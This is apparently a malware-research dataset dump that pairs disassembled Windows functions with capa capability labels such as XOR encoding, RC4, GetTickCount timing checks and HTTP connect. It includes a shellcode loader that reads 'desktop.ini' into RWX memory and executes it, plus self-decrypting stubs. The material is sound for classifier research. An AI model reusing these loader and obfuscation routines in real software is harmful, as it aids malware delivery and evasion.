joyce8/EMBER2024-capa huggingface dataset:
Function at 0x701af020
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, ecx
push edi
push esi
push ebx
sub esp, 0x9c
mov eax, dword [esp + 0xbc]
mov edx, dword [esp + 0xc0]
mov esi, dword [esp + 0xb0]
mov ebx, dword [esp + 0xb4]
mov dword [esp + 0x3c], eax
lea eax, [edx + 0x6c]
mov edi, dword [esp + 0xb8]
mov dword [esp], eax
call method.std::__timepunct_wchar_t__const_std::use_facet_std.__timepunct_wchar_t____std::locale_const_
mov edx, dword [esp + 0xc0]
mov dword [esp + 0x54], 0
mov eax, dword [eax + 8]
mov ecx, dword [eax + 0x48]
mov dword [esp + 0x58], ecx
mov ecx, dword [eax + 0x4c]
mov dword [esp + 0x5c], ecx
mov ecx, dword [eax + 0x50]
mov dword [esp + 0x60], ecx
mov ecx, dword [eax + 0x54]
mov dword [esp + 0x64], ecx
mov ecx, dword [eax + 0x58]
mov dword [esp + 0x68], ecx
mov ecx, dword [eax + 0x5c]
mov dword [esp + 0x6c], ecx
mov ecx, dword [eax + 0x60]
mov dword [esp + 0x70], ecx
mov ecx, dword [eax + 0x2c]
mov dword [esp + 0x74], ecx
mov ecx, dword [eax + 0x30]
mov dword [esp + 0x78], ecx
mov ecx, dword [eax + 0x34]
mov dword [esp + 0x7c], ecx
mov ecx, dword [eax + 0x38]
mov dword [esp + 0x80], ecx
mov ecx, dword [eax + 0x3c]
mov dword [esp + 0x84], ecx
mov ecx, dword [eax + 0x40]
mov eax, dword [eax + 0x44]
mov dword [esp + 0x88], ecx
mov ecx, ebp
mov dword [esp + 0x8c], eax
lea eax, [esp + 0x54]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x58]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x14], eax
lea eax, [esp + 0x50]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x3c]
mov dword [esp], esi
mov dword [esp + 4], ebx
xor bx, bx
mov dword [esp + 0x18], 7
mov dword [esp + 8], edi
mov dword [esp + 0xc], eax
call sym.__ZNKSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE24_M_extract_wday_or_monthES3_S3_RiPPKwjRSt8ios_baseRSt12_Ios_I
sub esp, 0x24
mov ecx, eax
movzx esi, dx
mov eax, edx
mov dword [esp + 0x4c], edx
mov edx, ebx
mov ebx, dword [esp + 0x54]
mov ebp, ecx
mov dword [esp + 0x48], ecx
or edx, esi
test ebx, ebx
jne 0x701af190
mov ebx, dword [esp + 0xc8]
mov esi, dword [esp + 0x50]
mov dword [ebx + 0x18], esi
cmp ax, 0xffff
sete bl
test ecx, ecx
setne al
and al, bl
mov esi, eax
jne 0x701af1b8
cmp word [esp + 0x3c], 0xffff
sete al
mov ecx, eax
test edi, edi
je 0x701af172
test al, al
jne 0x701af1a0
cmp cl, bl
jne 0x701af180
mov eax, dword [esp + 0xc4]
or dword [eax], 2
add esp, 0x9c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 0x1c
mov esi, dword [esp + 0xc4]
or dword [esi], 4
jmp 0x701af14d
mov eax, dword [edi + 8]
cmp eax, dword [edi + 0xc]
jae 0x701af1e8
movzx eax, word [eax]
cmp ax, 0xffff
sete cl
jmp 0x701af172
mov eax, dword [ecx + 8]
cmp eax, dword [ecx + 0xc]
jae 0x701af200
movzx eax, word [eax]
cmp ax, 0xffff
setne bl
sub ebx, 1
and ebx, esi
cmp ax, 0xffff
sete al
movzx eax, al
sub eax, 1
and ecx, eax
mov ebp, ecx
jmp 0x701af15f
mov eax, dword [edi]
mov dword [esp + 0x3c], edx
mov ecx, edi
call dword [eax + 0x24]
mov edx, dword [esp + 0x3c]
jmp 0x701af1ab
mov eax, dword [ecx]
mov dword [esp + 0x44], edx
mov dword [esp + 0x40], ecx
call dword [eax + 0x24]
mov edx, dword [esp + 0x44]
mov ecx, dword [esp + 0x40]
jmp 0x701af1c3
Function at 0x701c7800
Capabilities:
Read file on windows

Disassembly:
push ebp
push edi
push esi
mov esi, ecx
push ebx
sub esp, 0x1c
mov ebp, dword [esp + 0x30]
mov edi, dword [esp + 0x34]
jmp 0x701c7822
call sym.__errno
cmp dword [eax], 4
jne 0x701c783e
mov eax, dword [esi]
mov dword [esp + 8], edi
mov dword [esp + 4], ebp
mov eax, dword [eax + 0x10]
mov dword [esp], eax
call sym._read
mov ebx, eax
cmp eax, 0xffffffff
je 0x701c7818
add esp, 0x1c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret 8

Function at 0x701d9810
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push esi
push ebx
mov ebx, ecx
sub esp, 0x24
mov esi, dword [esp + 0x30]
mov dword [esp], str.mt19937
mov ecx, esi
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.compare_char_const__const
mov ecx, 0x1571
sub esp, 4
test eax, eax
jne 0x701d9873
mov dword [ebx], ecx
mov edx, 1
jmp 0x701d9844
mov ecx, dword [ebx + edx*4 - 4]
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul eax, eax, 0x6c078965
add eax, edx
mov dword [ebx + edx*4], eax
add edx, 1
cmp edx, 0x270
jne 0x701d9840
mov dword [ebx + 0x9c0], 0x270
add esp, 0x24
pop ebx
pop esi
ret 4
mov esi, dword [esi]
lea eax, [esp + 0x1c]
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], esi
call sym._strtoul
cmp byte [esi], 0
mov ecx, eax
je 0x701d989d
mov eax, dword [esp + 0x1c]
cmp byte [eax], 0
je 0x701d9835
mov dword [esp], str.random_device::_M_strtoul_const_std::string_
call method.std.__throw_runtime_error_char_const_
nop
nop
nop
nop
nop
nop
nop
Function at 0x70226370
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov edi, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
not eax
mov ecx, edi
lea esi, [edi + ebx]
mov edx, esi
sub edx, ecx
cmp edx, 3
jbe 0x702263db
mov edx, eax
xor al, byte [ecx]
movzx eax, al
shr edx, 8
add ecx, 4
xor edx, dword [eax*4 + 0x702d56c0]
mov eax, edx
xor dl, byte [ecx - 3]
movzx edx, dl
shr eax, 8
xor eax, dword [edx*4 + 0x702d56c0]
mov edx, eax
xor al, byte [ecx - 2]
movzx eax, al
shr edx, 8
xor edx, dword [eax*4 + 0x702d56c0]
mov eax, edx
xor dl, byte [ecx - 1]
movzx edx, dl
shr eax, 8
xor eax, dword [edx*4 + 0x702d56c0]
jmp 0x70226386
mov edx, ebx
mov ecx, ebx
shr edx, 2
and ecx, 0xfffffffc
imul edx, edx, 0xfffffffc
add edi, ecx
add ebx, edx
add ebx, edi
cmp edi, ebx
je 0x70226408
mov edx, eax
xor al, byte [edi]
movzx eax, al
shr edx, 8
inc edi
xor edx, dword [eax*4 + 0x702d56c0]
mov eax, edx
jmp 0x702263ee
pop ebx
pop esi
pop edi
not eax
pop ebp
ret
Function at 0x70228c5c
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push esi
push ebx
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
test eax, eax
je 0x70228c8a
mov ecx, dword [eax + 0x48]
test ecx, ecx
je 0x70228c8a
cmp edx, dword [eax + 0x10]
jae 0x70228c88
mov esi, dword [ecx + 0x10]
mov esi, dword [esi + edx*4]
add esi, dword [ecx]
mov ecx, esi
jmp 0x70228c8a
xor ecx, ecx
mov dword [ebp + 8], ebx
pop ebx
pop esi
mov dword [ebp + 0xc], 0
pop ebp
jmp sym._mz_zip_file_stat_internal
Function at 0x409960
Capabilities:
Encode data using xor

Disassembly:
mov esp, esi
sub ecx, dword [eax + 0x1b3e5f08]
fldcw word [ebp - 0x52]
scasd eax, dword es:[edi]
cmp esp, dword [ecx - 0x4e]
aas
sub ebp, ecx
dec ebx
out dx, eax
add byte [edi - 0x25], al
sbb ecx, dword [ebp - 0x2bc4517b]
and eax, 0x8170a448
cmp al, byte [ecx - 0x3558ec9a]
aas
push edx
ret
sbb dword [eax], ecx
jne 0x409923
xchg ebp, eax
test byte [eax + ebx*8 + 0x664b33e7], dh
xor ecx, dword [ebx + 0x66]
pop ecx
push 0xffffffffffffffc7
aam 0x4e
sti
jl 0x40996a
pushfd
pop es
insb byte es:[edi], dx
invalid

Function at 0x4192f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov ebx, 6
lodsd eax, dword [esi]
bswap eax
ror eax, 0xd
mov edx, eax
not edx
lodsd eax, dword [esi]
rol eax, 0xb
bswap eax
xor eax, edx
stosd dword es:[edi], eax
lodsd eax, dword [esi]
rol eax, 9
bswap eax
mov edx, eax
not edx
stosd dword es:[edi], eax
lodsd eax, dword [esi]
rol eax, 7
bswap eax
xor eax, edx
mov edx, eax
not edx
stosd dword es:[edi], eax
rol eax, 5
xor eax, edx
stosd dword es:[edi], eax
lea esi, [edi - 0x10]
dec ebx
test ebx, ebx
jne 0x419305
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x419348
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov eax, 0xfffefdfc
mov ecx, 0x40
mov ebx, dword [ebp + 0x10]
mov dword [ebx + ecx*4 - 4], eax
sub eax, 0x4040404
dec ecx
jne 0x41935b
mov edi, dword [ebp + 0xc]
mov esi, 0x40
xor ebx, ebx
push ebp
mov ebp, dword [ebp + 0x10]
mov eax, ecx
xor edx, edx
div esi
mov al, cl
mov dl, byte [edi + edx]
add dl, byte [ebp + eax]
add dl, bl
mov bl, byte [ebp + edx]
mov dl, byte [ebp + ebx]
xchg byte [ebp + eax], dl
mov byte [ebp + ebx], dl
inc ecx
cmp ecx, 0x300
jne 0x419375
pop ebp
xor ecx, ecx
mov edi, dword [ebp + 8]
mov esi, 0x20
push ebp
mov ebp, dword [ebp + 0x10]
mov eax, ecx
xor edx, edx
div esi
mov al, cl
mov dl, byte [edi + edx]
add dl, byte [ebp + eax]
add dl, bl
mov bl, byte [ebp + edx]
mov dl, byte [ebp + ebx]
xchg byte [ebp + eax], dl
mov byte [ebp + ebx], dl
inc ecx
cmp ecx, 0x300
jne 0x4193ae
pop ebp
xor ecx, ecx
mov edi, dword [ebp + 0xc]
mov esi, 0x40
push ebp
mov ebp, dword [ebp + 0x10]
mov eax, ecx
xor edx, edx
div esi
mov al, cl
mov dl, byte [edi + edx]
add dl, byte [ebp + eax]
add dl, bl
mov bl, byte [ebp + edx]
mov dl, byte [ebp + ebx]
xchg byte [ebp + eax], dl
mov byte [ebp + ebx], dl
inc ecx
cmp ecx, 0x300
jne 0x4193e7
pop ebp
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x41941c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor eax, eax
mov ebx, dword [ebp + 0x14]
xor ecx, ecx
xor edx, edx
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
test esi, esi
je 0x419468
push ebp
mov ebp, dword [ebp + 0x10]
mov dl, byte [ebp + ecx]
add dl, bl
mov bl, byte [ebp + edx]
mov dl, byte [ebp + ebx]
mov dl, byte [ebp + edx]
inc dl
mov al, byte [ebp + edx]
xor byte [edi], al
mov dl, byte [ebp + ebx]
xchg byte [ebp + ecx], dl
mov byte [ebp + ebx], dl
inc cl
inc edi
dec esi
test esi, esi
jne 0x419439
pop ebp
pop edi
pop esi
pop ebx
pop ebp
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x12de198
Capabilities:
Encode data using xor

Disassembly:
jmp 0x12de1a2
pushal
call 0x12de1a8
pop ebp
sub ebp, 0x10
sub ebp, 0xede198
jmp 0x12de1be
mov eax, 0xede198
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b3
mov edx, 0x40db7ebc
xor byte [eax], dl
inc eax
dec ecx
jne 0x12de1d5
jmp 0x12de1e8
aaa
jno 0x12de222
xor eax, 0xbcbcbc80
cmp eax, 0xbcbc447d
mov esp, 0xbb0471bf
mov esp, 0x9406bcbc
mov esp, 0x5e4bbcbc
mov edi, 0xb03d3774
mov esp, 0x79bfbcbc
in al, dx
in al, dx
aam 0x80
mov cl, 0x9d
mov esp, 0x7068e6d4
mov esp, 0xd49890bd
invalid
push esp
mov ecx, 0x55bcbcbc
xchg edx, eax
mov esp, 0xd831bcbc
cwde
inc eax
xor eax, 0x50379890
aaa
cmp dword [esp + edi*4 + 0x2937bcbc], esi
mov al, 0xbc
mov esp, 0xac3137bc
mov esp, 0x557dbcbc
mov esi, 0x7e3fbe8d
mov eax, 0x4839b3f5
inc ebx
inc ebx
inc ebx
loope 0x12de2d6
mov al, 0xbc
aaa
xor byte [eax - 0x43434348], bl
aam 0x80
mov cl, 0x9d
mov esp, 0x7068e6d4
mov esp, 0xed9890bd
push esp
mov ecx, 0x55bcbcbc
cmp dword [esi - 0x27ce4344], 0xffffff98
inc eax
xor eax, 0xe1e89890
inc ebx
leave
mov al, 0x43
leave
mov ah, 0x54
sar byte [esp + edi*4 - 0x4bfec844], 1
mov esp, 0x758fbcbc
invalid
push esp
mov eax, 0x43430155
inc ebx
xchg ebp, eax
call 0x7e6da168
mov edx, 0x3fb8563f
push esp
mov ecx, 0x43431755
inc ebx
aaa
nop
cwde
xor eax, ebx
cwde
mov eax, 0xe9bcb07e
aaa
push eax
ljmp 0x37b0
Function at 0x402cf0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
sub esp, 0x34
push ebx
push esi
mov esi, ecx
cmp dword [esi + 0x3a0], 0xffffffff
push edi
jne 0x402d19
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0x3a8], eax
mov dword [esi + 0x3a4], eax
cmp dword [ebp + 0x10], 0
mov ebx, dword [ebp + 0x18]
je 0x402d6a
mov eax, dword [esi + 0x50]
add eax, dword [ebp + 8]
mov ecx, dword [esi + 0x54]
adc ecx, dword [ebp + 0xc]
push 0
push 0x64
push ecx
push eax
call fcn.00505df0
mov ecx, dword [ebp + 0x14]
push ebx
push ecx
push edx
push eax
call fcn.00510f90
mov edi, eax
cmp edi, dword [esi + 0x3a0]
je 0x402d6a
mov edx, dword [esi - 0x98]
mov eax, dword [edx + 0x18c]
lea ecx, [esi - 0x98]
push edi
call eax
mov dword [esi + 0x3a0], edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x28], eax
sub eax, dword [esi + 0x3a4]
cmp eax, 0x3e8
jbe 0x402e9a
fild qword [ebp + 8]
mov edx, dword [esi - 0x98]
mov dword [esp + 0x2c], eax
fst qword [esp + 0x38]
fild qword [esi + 0x398]
fsubp st(1)
fild dword [esp + 0x2c]
test eax, eax
jns 0x402dac
fadd qword [0x551b58]
fdivp st(1)
mov eax, dword [edx + 0x194]
sub esp, 8
lea ecx, [esi - 0x98]
fstp qword [esp]
call eax
cmp dword [ebp + 0x10], 0
mov ecx, dword [esp + 0x28]
mov eax, dword [ebp + 8]
mov dword [esi + 0x3a4], ecx
mov ecx, dword [ebp + 0xc]
mov dword [esi + 0x398], eax
mov dword [esi + 0x39c], ecx
je 0x402e9a
mov edx, eax
or edx, ecx
je 0x402e9a
mov ecx, dword [esi + 0x50]
fild dword [esp + 0x28]
mov edx, dword [esi + 0x54]
mov dword [esp + 0x30], ecx
mov ecx, dword [ebp + 0x14]
push ebx
push ecx
mov ecx, dword [esp + 0x38]
add ecx, eax
mov dword [esp + 0x3c], edx
mov eax, edx
adc eax, dword [ebp + 0xc]
mov edx, dword [esi - 0x98]
push eax
push ecx
mov ecx, dword [esp + 0x38]
test ecx, ecx
jns 0x402e2a
fadd qword [0x551b58]
mov eax, dword [esi + 0x3a8]
fild dword [esi + 0x3a8]
test eax, eax
jns 0x402e40
fadd qword [0x551b58]
fsubp st(1)
mov eax, dword [ebp + 0x14]
fld qword [esp + 0x48]
sub eax, dword [esp + 0x40]
mov edx, dword [edx + 0x190]
fnstcw word [esp + 0x38]
fdiv st(1), st(0)
sbb ebx, dword [esp + 0x44]
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], ebx
movzx eax, word [esp + 0x38]
or eax, 0xc00
mov dword [esp + 0x3c], eax
fild qword [esp + 0x40]
fsubrp st(1)
fmulp st(1)
fdiv qword [0x551b50]
fldcw word [esp + 0x3c]
fistp qword [esp + 0x48]
mov ecx, dword [esp + 0x48]
push ecx
lea ecx, [esi - 0x98]
fldcw word [esp + 0x3c]
call edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14

Function at 0x404a20
Capabilities:
Delete file

Disassembly:
mov eax, dword [eax + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
ret
Function at 0x404a30
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5244b0
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x570454]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0xc]
mov ecx, dword [eax - 0xc]
xor edx, edx
test ecx, ecx
setne dl
mov dword [ebp - 0x14], 0
mov edi, edx
test edi, edi
je 0x404a8a
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [ebp - 0x14], ecx
push esi
call fcn.004052f0
mov ebx, eax
mov dword [ebp - 0x18], ebx
call fcn.004049a0
test edi, edi
je 0x404aea
mov dword [ebp - 4], 0
mov edx, dword [esi + 0x8c]
mov eax, dword [edx + 0x50]
lea ecx, [esi + 0x8c]
call eax
jmp 0x404acc
test ebx, ebx
jne 0x404aea
cmp dword [ebp - 0x14], ebx
jne 0x404aea
mov eax, dword [esi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test eax, eax
je 0x404aea
mov eax, esi
call fcn.00404a20
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404da0
Capabilities:
Connect to http server

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x523ba8
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
mov eax, dword [0x570454]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 1
lea eax, [esi + 0xa0]
push eax
lea ecx, [ebp - 0x18]
call fcn.0041ad73
mov dword [ebp - 4], 0
mov eax, dword [esi + 0x1c]
cmp dword [eax - 0xc], 0
push esi
push 0
push 3
je 0x404e01
mov ecx, dword [esi + 0x20]
mov edx, dword [esi + 0x7c]
push ecx
movzx ecx, word [esi + 0x84]
push eax
push ecx
push edx
jmp 0x404e11
movzx ecx, word [esi + 0x84]
mov eax, dword [esi + 0x7c]
push 0
push 0
push ecx
push eax
mov edx, dword [esi + 0x70]
push edx
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [esi + 0x74], eax
test eax, eax
jne 0x404e55
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [esi]
push eax
mov eax, dword [edx + 0x1c]
push 0x6f
mov ecx, esi
call eax
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 0xffffffff
call fcn.0041ad4f
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 0xffffffff
call fcn.0041ad4f
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x406330
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40634b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x406382
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x40637e
jmp 0x406370
cmp esi, eax
jae 0x406382
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x406370
cmp esi, eax
jb 0x406389
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x407d30
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
sub esp, 0x34
push ebx
push esi
mov esi, ecx
cmp dword [esi + 0x240], 0xffffffff
push edi
jne 0x407d59
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0x248], eax
mov dword [esi + 0x244], eax
cmp dword [ebp + 0x10], 0
mov ebx, dword [ebp + 0x18]
je 0x407daa
mov eax, dword [esi + 0x50]
add eax, dword [ebp + 8]
mov ecx, dword [esi + 0x54]
adc ecx, dword [ebp + 0xc]
push 0
push 0x64
push ecx
push eax
call fcn.00505df0
mov ecx, dword [ebp + 0x14]
push ebx
push ecx
push edx
push eax
call fcn.00510f90
mov edi, eax
cmp edi, dword [esi + 0x240]
je 0x407daa
mov edx, dword [esi - 0xb8]
mov eax, dword [edx + 0x18c]
lea ecx, [esi - 0xb8]
push edi
call eax
mov dword [esi + 0x240], edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x28], eax
sub eax, dword [esi + 0x244]
cmp eax, 0x3e8
jbe 0x407eda
fild qword [ebp + 8]
mov edx, dword [esi - 0xb8]
mov dword [esp + 0x2c], eax
fst qword [esp + 0x38]
fild qword [esi + 0x238]
fsubp st(1)
fild dword [esp + 0x2c]
test eax, eax
jns 0x407dec
fadd qword [0x551b58]
fdivp st(1)
mov eax, dword [edx + 0x194]
sub esp, 8
lea ecx, [esi - 0xb8]
fstp qword [esp]
call eax
cmp dword [ebp + 0x10], 0
mov ecx, dword [esp + 0x28]
mov eax, dword [ebp + 8]
mov dword [esi + 0x244], ecx
mov ecx, dword [ebp + 0xc]
mov dword [esi + 0x238], eax
mov dword [esi + 0x23c], ecx
je 0x407eda
mov edx, eax
or edx, ecx
je 0x407eda
mov ecx, dword [esi + 0x50]
fild dword [esp + 0x28]
mov edx, dword [esi + 0x54]
mov dword [esp + 0x30], ecx
mov ecx, dword [ebp + 0x14]
push ebx
push ecx
mov ecx, dword [esp + 0x38]
add ecx, eax
mov dword [esp + 0x3c], edx
mov eax, edx
adc eax, dword [ebp + 0xc]
mov edx, dword [esi - 0xb8]
push eax
push ecx
mov ecx, dword [esp + 0x38]
test ecx, ecx
jns 0x407e6a
fadd qword [0x551b58]
mov eax, dword [esi + 0x248]
fild dword [esi + 0x248]
test eax, eax
jns 0x407e80
fadd qword [0x551b58]
fsubp st(1)
mov eax, dword [ebp + 0x14]
fld qword [esp + 0x48]
sub eax, dword [esp + 0x40]
mov edx, dword [edx + 0x190]
fnstcw word [esp + 0x38]
fdiv st(1), st(0)
sbb ebx, dword [esp + 0x44]
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], ebx
movzx eax, word [esp + 0x38]
or eax, 0xc00
mov dword [esp + 0x3c], eax
fild qword [esp + 0x40]
fsubrp st(1)
fmulp st(1)
fdiv qword [0x551b50]
fldcw word [esp + 0x3c]
fistp qword [esp + 0x48]
mov ecx, dword [esp + 0x48]
push ecx
lea ecx, [esi - 0xb8]
fldcw word [esp + 0x3c]
call edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14